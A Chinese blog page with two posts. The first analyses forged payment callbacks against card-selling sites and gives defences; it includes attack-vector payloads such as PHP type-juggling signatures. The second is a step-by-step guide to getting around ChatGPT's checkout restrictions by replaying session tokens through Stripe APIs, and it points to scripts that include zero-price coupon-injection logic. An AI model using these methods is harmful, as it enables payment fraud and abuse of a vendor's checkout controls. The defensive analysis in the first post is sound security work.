漏洞分析 on 逍遥笔记

虚拟发卡系统回调伪造漏洞全链路拆解 — 从备份文件泄露到批量盗取卡密

Thu, 13 Aug 2026 23:00:00 +0800

一分钟速读： 一个朋友的虚拟发卡站在一夜之间被批量盗走了上百张卡密。攻击者没有碰数据库，没有拿 Shell，甚至没有登录后台——他只是向一个公开的回调接口发送了一条精心构造的"支付成功"通知，系统就乖乖地把卡密吐了出来。本文从攻击日志逆向还原完整攻击链，揭示密钥泄露的两条路径——备份文件暴露（官方公告确认）与 Nginx 配置错误导致 Config.php 源码可读（日志分析发现），拆解回调签名机制的致命弱点，并用同一套方法对五个同类站点进行实测审计。

前言

事发后，ACG-Faka 官方发布了安全公告：

严禁在网站根目录存放备份文件。 近期排查发现，多个 V3 新版网站出现伪造支付回调，主要原因是在网站根目录存放了整站备份、数据库备份或 ZIP 压缩包。这些文件可被公网直接下载，其中通常包含支付密钥、货源接口密钥、数据库账号密码等敏感信息。攻击者获取后，可直接伪造支付回调并自动提取商品。

公告一针见血：问题不在签名算法，而在密钥泄露。 签名算法再安全，密钥被攻击者拿到了也白搭。

那密钥是怎么泄露的？公告指出是备份文件，我们的日志分析还发现了另一条独立路径——Nginx 配置错误导致 PHP 源码直接暴露。两条路径殊途同归，都指向同一个运维盲区：敏感文件可被公网直接下载。

虚拟发卡系统的核心流程很简单：

用户下单 → 跳转支付网关 → 链上确认 → 网关回调通知 → 系统标记已付 → 释放卡密

问题出在第四步。支付网关（BEpusdt）向发卡系统（ACG-Faka）发送回调通知时，系统需要验证这条通知确实来自网关、而非攻击者伪造。如果验证机制存在缺陷，攻击者就可以跳过真实支付，直接"通知"系统订单已付，白拿卡密。

这不是假设场景。我拿到了一份真实攻击日志，下面是完整拆解。

一、攻击复盘：从日志还原 660 条请求

1.1 攻击时间线

通过分析受害站点的 Nginx Access Log，攻击者（IP: 203.27.106.***）的行为可以清晰地分为四个阶段：

时间	阶段	行为	日志特征
14:22	路径探测	尝试 `/callback/BEpusdt` vs `/callback.BEpusdt`	404 → 200，锁定正确路径格式
14:50	签名试探	发送全零签名 `000...000`	29 字节响应 = `{"code":0,"msg":"sign error"}`
17:01	源码窃取	反复请求 `/app/Pay/BEpusdt/Config/Config.php`	200，响应体包含 PHP 源码
17:32	首次得手	发送携带正确签名的伪造回调	33 字节响应 = `{"code":200,"msg":"success"}`
18:31+	批量收割	自动化脚本，每 6 秒一单	持续 33 字节成功响应

注意 14:50 到 17:01 之间的两小时空白——攻击者在第一次签名试探失败后，没有继续暴力枚举签名，而是转向了一个完全不同的方向：读源码。

1.2 响应大小指纹

Nginx 日志中的 body_bytes_sent 字段暴露了一切：

29 字节 → {"code":0,"msg":"sign error"} # 签名错误，攻击失败
35 字节 → {"code":0,"msg":"handle not found"} # 插件不存在
33 字节 → {"code":200,"msg":"success"} # 攻击成功，订单被标记已付

当日志中突然出现 33 字节的响应时，攻击已经得手了。

二、回调签名机制：为什么能被伪造

2.1 BEpusdt 的签名算法

BEpusdt 是一个 USDT 收款网关，当链上确认收款后，它向商户系统发送 HTTP POST 回调。签名计算方式：

signature = MD5( 按字母排序的参数字符串 + API_TOKEN )

具体来说：

# 1. 取所有非空参数（排除 signature 本身）
params = {k: v for k, v in data.items() if v != '' and k != 'signature'}

# 2. 按 key 字母排序，拼接成 key=value& 格式
sorted_str = '&'.join(f'{k}={params[k]}' for k in sorted(params.keys()))

# 3. 末尾拼接 API Token，取 MD5
signature = md5(sorted_str + api_token)

商户端验证时，用自己存储的 API Token 重新计算签名，与收到的签名做比对。

这个算法本身没有问题。 问题在于：

如果 API Token 泄露了，攻击者可以算出合法签名
如果 API Token 为空，签名 = MD5(params + "")，任何人都能算
如果比对方式有缺陷（PHP 弱类型），签名验证可被绕过

2.2 ACG-Faka 的回调处理流程

ACG-Faka 收到回调请求后的处理链：

/user/api/order/callback.{Handle}
 ↓
路由到对应插件（BEpusdt / Epusdt / Alipay）
 ↓
插件的 Signature.php 验证签名
 ↓
验证通过 → Order.php 更新订单状态 → 释放卡密
 ↓
返回 "success"（BEpusdt）或 "ok"（Epusdt）

关键文件：

文件	作用
`app/Pay/BEpusdt/Config/Config.php`	存储 API Token（签名密钥）
`app/Pay/BEpusdt/Impl/Signature.php`	签名验证逻辑
`app/Service/Bind/Order.php`	订单状态更新

三、根因分析：密钥泄露的两条路径 + 两重代码缺陷

攻击成功的前提是拿到 API Token。从目前掌握的信息看，攻击者有两条互相独立的路径可以拿到密钥，命中任何一条就够了。

3.1 路径一：备份文件泄露（官方公告确认）

这是官方通告明确指出的主因。很多站长习惯用宝塔面板的"一键备份"功能，把整站打包成 .zip 或 .tar.gz 放在网站根目录：

/www/wwwroot/faka/
├── index.php
├── app/
│ └── Pay/BEpusdt/Config/Config.php ← 包含 API Token
├── config/
│ └── database.php ← 包含数据库密码
├── site_backup_20260810.zip ← 整站备份，包含以上所有文件
└── db_backup_20260810.sql ← 数据库导出，包含所有订单和卡密

Nginx 默认会把 .zip 当静态文件返回。攻击者只需猜到文件名（常见模式：backup.zip、www.zip、域名.zip、日期.zip），就能一次性下载全站源码 + 数据库，其中包括支付密钥、数据库凭据、货源接口密钥——全部明文。

这比后面要说的 Config.php 泄露更严重，因为数据库备份里连卡密都有，攻击者甚至不需要走伪造回调这条弯路。

3.2 路径二：Nginx 配置错误导致 Config.php 直接暴露

这是我们在日志分析中发现的另一条路径。ACG-Faka 的 PHP 配置文件存放在 /app/Pay/BEpusdt/Config/Config.php。如果 Nginx 没有做目录级 deny：

# ❌ 缺少这条规则，攻击者可以直接请求 PHP 文件
location ~* ^/(app|config|runtime|vendor)/ {
 deny all;
}

后果因 Nginx 对 .php 的路由配置而异：

Nginx 配置	请求 Config.php 的结果	危险等级
`.php` 正确路由到 PHP-FPM	PHP 执行 `return [...]`，输出为空（200 空响应）	⚠️ 中
`.php` 未路由到 PHP-FPM（当静态文件返回）	PHP 源码原文输出，API Token 明文暴露	🔴 致命

第二种情况在宝塔面板上比想象中常见——如果 Nginx 的 location ~ \.php$ 规则只匹配了网站根目录下的 .php 文件，深层路径（如 /app/Pay/.../Config.php）的 .php 可能不会交给 PHP-FPM 处理，而是被当成普通文本文件返回。

攻击者直接看到了：

<?php
return [
 'api_url' => 'https://pay.example.com',
 'api_token' => 'a1b2c3d4e5f6...', // ← 签名密钥，明文暴露
];

我们审计的五个站中，Config.php 都返回 200 空响应（PHP 正确执行了 return []），Token 没有泄露。但路径可达本身就是隐患——如果未来某次运维操作改了 PHP-FPM 配置，Token 就会暴露。

两条路径的关系： 备份文件是"一锅端"，Config.php 是"精准窃取"。攻击者会两条路都试——先扫备份文件（自动化成本低），扫不到再尝试直接读 Config.php。实际攻击日志中两种行为都有出现。

3.3 代码缺陷一：PHP 弱类型比较（高危）

即使 Token 没有泄露，BEpusdt 插件的签名比对方式也可能存在问题。如果 Signature.php 使用了 PHP 的 ==（宽松比较）而非 ===（严格比较）或 hash_equals()：

// ❌ 危险：PHP 弱类型比较
if ($calculated_sign == $received_sign) { ... }

// 攻击向量：
// - signature=0 → int(0) == "any_string" 在特定条件下为 true
// - signature=false → false == "" 为 true
// - signature=[] → 数组与字符串比较行为不可预测

安全的实现应该是：

// ✅ 安全：类型检查 + 时序安全比较
if (!is_string($sign) || $sign === '') {
 return false;
}
return hash_equals($calculated, $sign);

hash_equals() 的作用有两个：

防止类型混淆——只接受字符串
防止时序攻击——比较耗时恒定，不会因为前几位匹配而提前返回

3.4 代码缺陷二：回调端点无访问控制（中危）

回调端点 /user/api/order/callback.BEpusdt 对任何 IP 开放。攻击者可以从任意位置发送请求，系统只靠签名验证来区分合法回调与伪造请求。

理想状态下，应该叠加 IP 白名单：

location ~* ^/user/api/order/callback\. {
 allow 1.2.3.4; # 支付网关服务器 IP
 deny all;
}

即使签名验证被绕过，IP 白名单也能兜底。

四、完整攻击链

两条密钥泄露路径最终汇聚到同一个攻击终点：

 ┌─────────────────────────┐ ┌─────────────────────────────┐
 │ 路径 A: 备份文件扫描 │ │ 路径 B: Config.php 直读 │
 │ GET /backup.zip │ │ GET /app/Pay/BEpusdt/ │
 │ GET /www.zip │ │ Config/Config.php │
 │ GET /db_2026.sql │ │ (Nginx 未路由到 PHP-FPM) │
 │ → 下载整站+数据库 │ │ → PHP 源码明文返回 │
 └────────────┬────────────┘ └──────────────┬──────────────┘
 │ │
 │ ┌────────────────────┐ │
 └────►│ API Token 泄露 ★ │◄────┘
 └─────────┬──────────┘
 │
 ┌───────────────▼───────────────┐
 │ Step 1: 路径探测 │
 │ GET /user/api/order/callback. │
 │ → 确认 BEpusdt Handle 存在 │
 └───────────────┬───────────────┘
 │
 ┌───────────────▼───────────────┐
 │ Step 2: 伪造合法回调 │
 │ 用窃取的 Token 计算 MD5 签名 │
 │ POST callback.BEpusdt │
 │ → "success" (33B) ★ │
 └───────────────┬───────────────┘
 │
 ┌───────────────▼───────────────┐
 │ Step 3: 批量收割 │
 │ 自动化创建订单 → 伪造回调 │
 │ → 查询卡密 → 每 6 秒一单 │
 └───────────────────────────────┘

整个过程不需要任何漏洞利用工具，只需要 curl 和 md5sum。路径 A 甚至不需要走回调——数据库备份里直接就有卡密。

五、五站实测审计

拿到攻击手法后，我用同一套方法对五个同类站点进行了黑盒审计。测试矩阵包含 13+ 种攻击向量，每次攻击后通过 API 验证订单状态是否变化。

5.1 攻击向量

#	向量	目标
A1	全零签名 / 随机签名	基础验签能力
A2	空签名 / 缺失签名字段	空值绕过
A3	`signature=0` (int)	PHP `==` 弱类型：`0 == "string"`
A4	`signature=false`	PHP `==` 弱类型：`false == ""`
A5	`signature=[]` (数组)	PHP 数组比较行为异常
A6	空密钥 MD5 签名	Token 为空时可伪造
A7	空密钥 HMAC-SHA256	同上，适配 Epusdt 插件
A8	金额篡改 (0.01)	金额绑定验证
A9	非成功 status 值	状态字段校验
A10	form-urlencoded 格式	Content-Type 混淆
A11	路径穿越 Handle	插件路由安全

5.2 审计结果

站点	框架	回调安全	状态验证	源码泄露	CF 防护	综合
站点 A	ACG-Faka	✅ 34/34 SAFE	有 API	路径泄露	无	⚠️ 中
站点 B	ACG-Faka	✅ 全部 SAFE	有 API	路径泄露	无	⚠️ 中
站点 C	Next.js/Vercel	N/A	需认证	无	全站	✅ 低
站点 D	ACG-Faka	✅ 全部 SAFE	无 (404)	路径+composer	无	⚠️ 中
站点 E	ACG-Faka	✅ 64/64 SAFE	有 API	路径+composer	无	⚠️ 中

关键发现：

回调签名验证全部正常——五个站都没有被伪造回调突破
但四个 ACG-Faka 站都有源码路径泄露——攻击者可以看到 Fatal Error 中暴露的物理路径
Config.php 虽然返回 200 空（PHP 正确执行了），但路径可达本身就是隐患
唯一一个 Next.js + Vercel 站完全不受此类攻击影响——非 PHP 框架，无弱类型问题，Vercel 不暴露源码

5.3 为什么这五个站没被攻破

没有备份文件暴露——五个站的 Web 根目录下没有扫到可下载的 .zip / .sql / .bak 文件
Config.php 正确走了 PHP-FPM 路由——返回 200 空响应，Token 没有泄露

但隐患仍在：四个 ACG-Faka 站的 /app/ 路径仍然可达，只是 PHP-FPM 兜住了。如果未来某次运维操作改错了 PHP-FPM 配置，或者站长在根目录放了一次备份文件，攻击者立刻就能得手。这是一颗定时炸弹。

六、防御方案

6.1 P0 紧急修复（立即执行）

清理并封锁备份文件——这是最紧急的一步：

# 1. 立即删除 Web 根目录下的所有备份文件
find /www/wwwroot/faka/ -maxdepth 1 \
 \( -name "*.zip" -o -name "*.tar.gz" -o -name "*.rar" \
 -o -name "*.sql" -o -name "*.bak" -o -name "*.7z" \) \
 -exec rm -f {} \;

# 2. 在 Nginx 中彻底封锁备份文件下载

# 封锁所有备份/归档文件类型
location ~* \.(zip|tar\.gz|rar|sql|bak|7z|gz|tgz)$ {
 deny all;
 return 403;
}

Nginx 封锁源码目录——阻断 Config.php 泄露路径：

# 阻止所有对 PHP 源码、配置、运行时文件的直接访问
location ~* ^/(app|config|runtime|vendor)/ {
 deny all;
 return 403;
}

# 阻止敏感文件
location ~* (composer\.(json|lock)|\.env|\.git) {
 deny all;
 return 403;
}

更换所有凭据——如果曾经在 Web 目录放过备份文件，必须假设已泄露，一律重置：

API Token（支付密钥）
数据库密码
货源接口密钥
后台管理员密码

升级签名验证——确认 Signature.php 使用 hash_equals() + is_string() 类型检查：

public static function safetyEquals(mixed $str, string $local): bool
{
 if (!is_string($str) || $str === '') {
 return false;
 }
 return hash_equals($local, $str);
}

6.2 P1 加固措施

回调端点 IP 白名单：

location ~* ^/user/api/order/callback\. {
 allow 支付网关IP;
 deny all;
}

签名算法升级——从 MD5 升级到 HMAC-SHA256：

// MD5 拼接（BEpusdt 默认）→ 容易被长度扩展攻击
$sign = md5($sorted_string . $token);

// HMAC-SHA256（推荐）→ 密钥参与哈希内部运算，无法伪造
$sign = hash_hmac('sha256', $sorted_string, $token);

6.3 P2 监控告警

回调端点频率限制（单 IP 每分钟 ≤ 10 次）
异常响应监控：连续出现 33 字节（success）响应时触发告警
回调日志独立记录：IP、签名、时间、订单号，便于事后追溯

6.4 架构层面

如果条件允许，考虑迁移到非 PHP 框架（如 Next.js + Vercel），从根本上消除 PHP 弱类型比较和源码泄露的风险。审计中唯一零风险的站点正是这种架构。

七、总结

这次攻击的本质不是密码学层面的签名绕过，而是运维层面的密钥泄露。攻击者有两条路可走：

路径 A: Web 根目录残留备份文件（.zip / .sql）
 → 攻击者下载备份 → 解压得到全部凭据（甚至直接拿到卡密）

路径 B: Nginx 配置错误，Config.php 当静态文件返回
 → 攻击者读取 PHP 源码 → 得到 API Token

两条路殊途同归：
 → 用 Token 计算合法 MD5 签名
 → 伪造回调通知
 → 系统认为已付款
 → 卡密被释放

官方通告指向路径 A，日志分析发现路径 B。多个受害站点同时存在两个问题。

修复其实不复杂——删备份文件、加 Nginx deny 规则、换密钥，三步就能阻断整条链。但现实是，四个受审计的 ACG-Faka 站点连 /app/ 目录的 deny 规则都没有。

安全不是只靠签名算法。签名验证是最后一道防线，不应该是唯一一道。 纵深防御意味着即使签名被绕过，IP 白名单能兜底；即使白名单没配，源码和备份至少不应该暴露密钥。任何一层失守都不会导致全盘崩溃——这才是安全架构的正确姿势。

本文所有测试均在授权范围内进行，已获得站点所有者许可。文中不包含任何真实域名和凭据。

提链 — ChatGPT 跨区支付链接提取的完整技术拆解

Sat, 01 Aug 2026 20:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 免责声明：本文仅供安全研究与技术讨论。文中不提供可直接复用的攻击工具或完整利用脚本。本文目的是帮助开发者理解 Stripe 跨区支付的工作原理，以及为什么某些支付方式在不同区域可见性不同。提链工具不篡改金额、不注入优惠码，用户以正常价格通过本地支付方式完成订阅。

前言

“提链"这个词，最近在各种 ChatGPT 合租群、代充群里频繁出现。

什么意思呢？简单来说：把 ChatGPT 的信用卡结账页面，转换成一个本地支付方式（iDEAL / UPI / PIX / Kakao Pay / GCash…）的跳转链接。

你可能会问——OpenAI 不是只接受信用卡吗？

准确地说，OpenAI 的前端只展示信用卡表单。但后端用的是 Stripe，而 Stripe 在全球支持几十种本地支付方式。这些支付方式对应的国家、货币、支付类型都不同，OpenAI 在结账页面上做了筛选，只让你看到"信用卡 / 借记卡"一个选项。

但 Stripe 的能力是在的。只要你能在创建 Checkout Session 时告诉 Stripe “我要用荷兰 iDEAL 支付”——Stripe 就会老老实实返回一个 iDEAL 的跳转链接。

提链，就是从 Stripe 的 Checkout Session 里把这个跳转链接提出来。

上一篇文章我们拆了 0 PHP 白嫖 ChatGPT Plus 的跨区定价混淆攻击。那个是利用区域信号碎片化 + 工具注入参数让金额变成 0——纯粹的漏洞利用，现在大概率已经被修了。

而提链不同。提链是正常的商业行为——用户以当地正常价格、通过当地正常的支付方式付款。只不过 OpenAI 的 UI 不展示这些选项，你得自己绕过前端的限制，直接和 Stripe 对话。

今天把它从协议层完整拆开。

一、为什么需要提链——信用卡的困境

全球 80 亿人，有信用卡的不到 20 亿。

印度人用 UPI，巴西人用 PIX，荷兰人用 iDEAL，韩国人用 Kakao Pay，越南人用 MoMo。这些不是什么小众支付方式——它们在各自国家的渗透率往往超过 70%。

但 OpenAI 的结账页面只给你一个 Stripe Elements 信用卡表单：卡号、有效期、CVC。没有信用卡？不好意思。

讽刺的是，Stripe 本身是支持这些本地支付方式的。OpenAI 创建 Checkout Session 时，就是通过 billing_details.country 和 billing_details.currency 来决定哪些支付方式可用。

国家	货币	可用支付方式	月费
??🇱 荷兰	EUR	iDEAL	€20
🇮🇳 印度	INR	UPI	₹1,950
🇧🇷 巴西	BRL	PIX	R$99.90
??🇭 瑞士	CHF	TWINT	CHF 20
🇰🇷 韩国	KRW	Kakao Pay	₩26,400
🇵🇱 波兰	PLN	BLIK	zł79.99
🇻🇳 越南	VND	MoMo	₫460,000
??🇭 菲律宾	PHP	GCash	₱990

这些价格不是我编的——它们真实存在于 Stripe 的 Checkout Session 响应里。OpenAI 按照区域设置了不同的定价，Stripe 负责处理。只是 OpenAI 的前端选择性地隐藏了这些支付方式。

提链工具要做的，就是绕过前端的限制，以目标国家/货币创建 Checkout Session，然后从 Stripe 的 confirm 响应中提取第三方支付的跳转链接。

二、提链的技术原理——四步拆解

Step 1：获取 Access Token

https://chatgpt.com/api/auth/session

返回一个 JSON：

{
 "user": { "id": "user-xxx", "name": "...", "email": "..." },
 "accessToken": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
}

accessToken 是一个标准 JWT，有效期通常 5~10 分钟。它是后续所有 API 调用的认证凭据。

提链工具同时也支持直接粘贴 __Secure-next-auth.session-token cookie——这个 cookie 可以用来换取新的 access token。但最简单的方式还是直接复制上面的 JSON。

Step 2：创建 Checkout Session

用 Access Token 调用 OpenAI 的 checkout API：

POST https://chatgpt.com/backend-api/payments/checkout
Authorization: Bearer eyJ...

{
 "entry_point": "all_plans_pricing_modal",
 "plan_name": "chatgptplusplan",
 "billing_details": {
 "country": "NL",
 "currency": "EUR"
 },
 "checkout_ui_mode": "custom"
}

关键参数是 billing_details 里的 country 和 currency。这两个字段决定了 Stripe 在初始化支付页面时会提供哪些支付方式。传 NL + EUR，Stripe 就会在 payment_method_types 里包含 ideal。

响应：

{
 "checkout_session_id": "oaics_xxxxxxxxxxxx",
 "processor_entity": "openai_llc",
 "publishable_key": "pk_live_xxxxxxxxxxxx",
 "payment_method_types": ["card", "ideal"]
}

oaics_ 前缀是 OpenAI 定制的 Stripe Checkout Session ID 格式。

Step 3：Stripe 协议流程

拿到 Checkout Session ID 后，需要完成一系列 Stripe API 调用。这是提链的核心技术含量所在——不是简单地 POST 一个接口就完事了。

完整的协议流程有 12 步：

┌──────────────────────────┐
│ 1. Session Refresh │ (用 cookie 换新的 AT)
│ 2. Create Checkout │ (拿 AT 创建 checkout session)
│ 3. Stripe Init │ (初始化支付页面状态)
│ 4. Update OAI Taxes │ (通知 OpenAI 更新税务)
│ 5. Stripe Tax Region │ (更新 Stripe 税务区域)
│ 6. Stripe Customer Data │ (更新客户信息)
│ 7. OAI Checkout Snapshot │ (保存 checkout 快照)
│ 8. Pre-Confirm │ (部分支付方式需要)
│ 9. Create Payment Method │ (创建 PM，类型=ideal/upi/pix...)
│ 10. Confirm │ (确认支付，触发重定向)
│ 11. Approve │ (如果需要额外批准)
│ 12. Extract Redirect URL │ (从 confirm 响应中提取跳转链接)
└──────────────────────────┘

每一步都有自己的参数格式和必要的状态管理。Stripe 的 Checkout Session 是有状态的——它跟踪你的 eid（element ID）、mrid（merchant reference ID）、expected_amount 等等。如果你跳过了某一步或者参数不对，后续步骤就会报错。

Step 4：提取支付链接

第 10 步 Confirm 之后，如果支付方式是重定向类型（iDEAL、UPI、PIX 等都是），Stripe 会在响应中返回一个 redirect_url：

{
 "status": "requires_action",
 "next_action": {
 "type": "redirect_to_url",
 "redirect_to_url": {
 "url": "https://hooks.stripe.com/redirect/authenticate/src_xxx?client_secret=..."
 }
 }
}

这个 URL 就是最终的支付链接。用户在浏览器中打开它，会被重定向到对应的支付方式页面（iDEAL 的银行选择页、UPI 的付款确认页、PIX 的二维码页面等）。完成支付后，Stripe webhook 通知 OpenAI，OpenAI 确认订阅生效。

整个流程，金额由 Stripe 的价格表决定，提链工具不篡改任何金额字段。 用户付的就是对应国家/地区的标准月费。

三、Stripe Checkout Session 的内部结构

拆开看，Stripe Checkout Session 里藏了不少有趣的东西。

第 3 步 Stripe Init 调用的是：

POST https://api.stripe.com/v1/payment_pages/{oaics_xxx}/init

响应中最关键的几个字段：

{
 "payment_method_types": ["card", "ideal"],
 "line_items": [{
 "description": "ChatGPT Plus subscription",
 "amount": 2000,
 "currency": "eur"
 }],
 "shipping_address_collection": null,
 "payment_method_configuration": {
 "merchant_reference_id": "mri_xxx",
 "customer_session_client_secret": "cuss_xxx"
 },
 "session_id": "oaics_xxx"
}

payment_method_types 是关键——它决定了这个 Checkout Session 支持哪些支付方式。同一个接口，传不同的 country / currency，返回的 payment_method_types 就不同。

这也解释了为什么 OpenAI 前端只显示信用卡——它在创建 Checkout Session 时没有传目标国家的 billing_details，或者传的是用户账号的注册国家（通常是 US），所以 Stripe 只返回 ["card"]。

四、八种支付方式的技术对比

每种支付方式在 Stripe 层面的行为略有不同：

支付方式	PM Type	国家	货币	需要 pre_confirm	重定向类型	特殊处理
iDEAL	`ideal`	NL	EUR	✗	银行选择页	无
UPI	`upi`	IN	INR	✗	VPA 输入页	无
PIX	`pix`	BR	BRL	✗	二维码页	无
TWINT	`twint`	CH	CHF	✗	App 跳转	无
Kakao Pay	`kakao_pay`	KR	KRW	✓	Kakao 确认页	需要 pre_confirm 调用
BLIK	`blik`	PL	PLN	✗	6位码输入	无
MoMo	`momo`	VN	VND	✓	MoMo App	需要 pre_confirm 调用
GCash	`gcash`	PH	PHP	✗	GCash 确认页	无

大多数支付方式流程一致：创建 PM → Confirm → 提取 redirect URL。但 Kakao Pay 和 MoMo 需要额外的 pre_confirm 调用——如果跳过这一步，Confirm 会返回 incomplete 状态，没有 redirect URL。

pre_confirm 的请求格式：

POST https://api.stripe.com/v1/payment_pages/{oaics_xxx}/pre_confirm
Content-Type: application/x-www-form-urlencoded

expected_payment_method_type=kakao_pay

看起来简单，但如果你不知道有这一步，Kakao Pay 的提链就会卡在最后一步——所有参数都对了，就是拿不到链接。这类细节只有通过 HAR 抓包 Stripe 的完整结账流程才能发现。

五、从 0 PHP 到提链——漏洞与工具的边界

上一篇文章分析了 0 PHP 攻击，里面提到第三方工具在创建 Checkout Session 时可能注入了零元参数（如 promo_campaign）。那么问题来了：

提链工具和那个"CDK 提炼"工具是一回事吗？

不是。区别在于：

	0 PHP “提炼"工具	正常提链工具
目的	白嫖（amount = 0）	正常付款
是否注入优惠码	是（`promo_campaign`、`discount` 等）	否
金额来源	工具操纵	Stripe 价格表
合法性	灰色/违法	正常商业行为

正常的提链工具不注入任何优惠参数。它只是：

用你的 AT 创建一个以目标国家/货币计价的 Checkout Session
走完 Stripe 的协议流程
把 redirect URL 返回给你

你付的是 Stripe 价格表上对应区域的标准价格——荷兰 €20/月，印度 ₹1,950/月，巴西 R$99.90/月。没有优惠码，没有金额篡改。

正常的提链工具的设计原则应该是：不注入 promo_campaign，不传 discount，不覆盖 amount。 工具只做一件事——把 Stripe 的本地支付能力释放出来，让没有信用卡的用户也能正常订阅。

六、协议细节——那些让你卡住的坑

如果你自己尝试过写提链脚本，你一定踩过这些坑。

坑 1：IP 一致性

Stripe Checkout Session 在创建和确认时需要使用同一个 IP。如果你用代理 A 创建了 Checkout Session，又用代理 B 去 Confirm——Stripe 会返回 invalid_request_error。

这不是 Stripe 的 bug，是安全机制。Stripe 检测到 session 的创建 IP 和确认 IP 不一致，会认为可能是中间人攻击。

解决方案：整个 12 步流程使用同一个 HTTP client（或 cookie jar），确保所有请求走同一个出口 IP。

坑 2：`expected_amount`

Stripe 的 Confirm 请求需要传 expected_amount 参数，值必须和 Checkout Session 的金额一致。这个值从哪来？

最准确的来源是第 4 步 Update Taxes 的响应。这一步把账单地址传给 OpenAI，OpenAI 计算含税金额后写入 Checkout Session，然后返回一个 snapshot，里面有 amount_total：

{
 "snapshot": {
 "amount_total": 2000,
 "currency": "eur"
 }
}

如果你用 Init 步骤的金额去 Confirm，可能会因为税后金额不一致而失败。

坑 3：Stripe Session State

Stripe 的 Checkout Session 维护了一个内部状态。每次 API 调用后，响应里都会更新 eid、mrid 等字段。下一次调用必须带上最新的状态值。

这意味着你不能简单地并行调用 12 步——必须严格按顺序执行，每一步用上一步返回的最新状态。

坑 4：`Accept-Language` 和 `guid`

这两个是容易忽略的细节：

Stripe API 会根据 Accept-Language 请求头返回不同的 locale 配置。如果你不传，默认是 en-US，但某些支付方式在特定 locale 下行为不同。
Stripe 的某些内部 API 需要一个 guid 参数，格式是 xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx（UUID v4）。不是随便写的——格式不对会被拒绝。

坑 5：超时

整个流程从创建 Checkout Session 到拿到 redirect URL，通常需要 10~30 秒。某些支付方式（如 Kakao Pay）可能需要更长时间，因为 Stripe 需要和第三方支付系统交互。

如果 Confirm 之后没有立刻返回 redirect URL，需要轮询 Init 接口。URL 可能在 Confirm 后几秒到几十秒内才出现。我们的工具最多等 90 秒——超过这个时间通常意味着哪里出了问题。

七、开源提链脚本

说了这么多原理，给一些现成的实现参考。

⚠️ 时效性声明：以下脚本收集于 2026 年 7 月。OpenAI/Stripe 的 API 接口、Stripe runtime 版本、风控策略随时可能变更，脚本可能已不可用。仅供学习协议流程和理解技术原理，不保证当前可运行。使用前请自行验证。

多支付方式提链套件

来源：社区开源的 ideal-link-extractor，MIT License。

包含 6 种支付方式的独立提取脚本：

脚本	支付方式	说明
`ideal_qr_extract.py`	iDEAL（荷兰）	核心脚本（3263 行），其他脚本的参考实现
`upi/upi_extract.py`	UPI（印度）	含多代理轮转、并行模式
`pix/pix_extract.py`	PIX（巴西）	二维码提取
`twint/twint_extract.py`	TWINT（瑞士）	App 跳转链接
`kakao/kakao_extract.py`	Kakao Pay（韩国）	含 pre_confirm 处理
`blik/blik_qr_extract.py`	BLIK（波兰）	6 位码输入链接
`detect_payment_methods.py`	通用	按国家检测可用的 Stripe 支付方式

依赖：requests、curl_cffi、qrcode[pil]

基本用法（以 UPI 为例）：

pip install requests curl_cffi
export UPI_TOKEN="eyJhbGciOi..."
export UPI_PROXY="socks5://user:pass@host:port" # 自备代理
python upi_extract.py

每个脚本通过环境变量配置代理（XXX_PROXY）和 Token（XXX_TOKEN 或 token.txt 文件）。代理需自备——脚本不内置任何代理。

MoMo 提取脚本（越南）

独立维护的 MoMo/Kakao 脚本集，包含：

kakao_extract.py——共享的会话管理和 Stripe 协议辅助函数
momo_channel_probe.py——只读模式探测 MoMo 通道可用性
momo_probe.py——默认只读，设置 MOMO_EXTRACT_REDIRECT=1 才尝试提取

依赖额外的 Playwright（需要 Chromium）。

脚本的核心设计

这些脚本的技术亮点：

代理状态持久化——proxy_state.json 记录每个代理的健康状态、成功/失败计数、冷却时间
日志脱敏——自动将代理地址、Token 等敏感信息替换为安全标签
多 Worker 并行——支持多线程并发提取，自动分配代理
Stripe 协议完整实现——Session state 管理、eid/mrid 追踪、tax region 更新，完整复刻浏览器行为

注意：部分脚本包含 promo_campaign 注入逻辑和 REQUIRE_ZERO 选项（用于上一篇文章分析的 0 PHP 攻击路径）。这些属于漏洞利用代码，不建议使用——OpenAI 大概率已做修复，强行使用可能导致账号风控。

八、为什么 OpenAI 不直接提供这些支付方式？

好问题。Stripe 支持它们，OpenAI 用的是 Stripe，为什么不在结账页面上显示？

几个可能的原因：

合规成本：每个国家的本地支付方式有不同的合规要求（反洗钱、实名验证等）。支持 iDEAL 意味着要满足荷兰的金融监管要求。
退款风险：某些本地支付方式的退款/dispute 流程和信用卡不同。PIX 的退款机制、UPI 的 chargeback 流程，都需要额外的运营投入。
税务复杂度：不同国家的增值税率不同，账单格式要求不同。OpenAI 需要为每个国家维护正确的税务处理。
优先级：信用卡覆盖了 OpenAI 的核心市场（北美、欧洲）。本地支付方式对应的市场（东南亚、拉美、南亚）目前可能不是优先级。

但 Stripe 的能力已经在那里了。payment_method_types 里已经包含了这些方式。OpenAI 只需要在前端把选项打开。在此之前——提链工具就是桥梁。

九、和 0 PHP 漏洞的关系——一张图说清

 ┌───────────────────────────────────┐
 │ 正常提链工具 │
 │ country=NL, currency=EUR │
 │ NO promo_campaign │
 │ → amount = €20 (Stripe 价格表) │
 │ → redirect URL → iDEAL 付款 │
 └───────────┬───────────────────────┘
 │
 同一个 API │ 同一个 API
 │
 ┌───────────▼───────────────────────┐
 │ OpenAI /payments/checkout API │
 │ + Stripe Checkout Session │
 └───────────┬───────────────────────┘
 │
 ┌───────────▼───────────────────────┐
 │ 0 PHP 攻击工具 │
 │ country=PH, currency=PHP │
 │ + promo_campaign injection │
 │ + cross-region confusion │
 │ → amount = ₱0 (被操纵) │
 │ → PH BIN 卡完成支付 │
 └───────────────────────────────────┘

同一个 API，两种用法：

提链：合法利用 Stripe 的本地支付能力，正常价格
0 PHP：利用跨区信号碎片化 + 参数注入，把价格打到零

提链不是漏洞利用。它只是 Stripe 本来就有的能力，被 OpenAI 前端隐藏了而已。

十、写在最后

提链的本质是一个简单的事实：Stripe 是一个全球支付平台，它天然支持几十种本地支付方式。OpenAI 的 UI 做了限制，但 API 没有。

从技术角度看，12 步协议流程的每一步都有其必要性——IP 一致性、状态管理、税务更新、pre_confirm。跳过任何一步都会导致最终拿不到 redirect URL。这也是为什么"提链"不是简单地抓个包就能搞定的——你需要理解 Stripe 的完整 Checkout 流程。

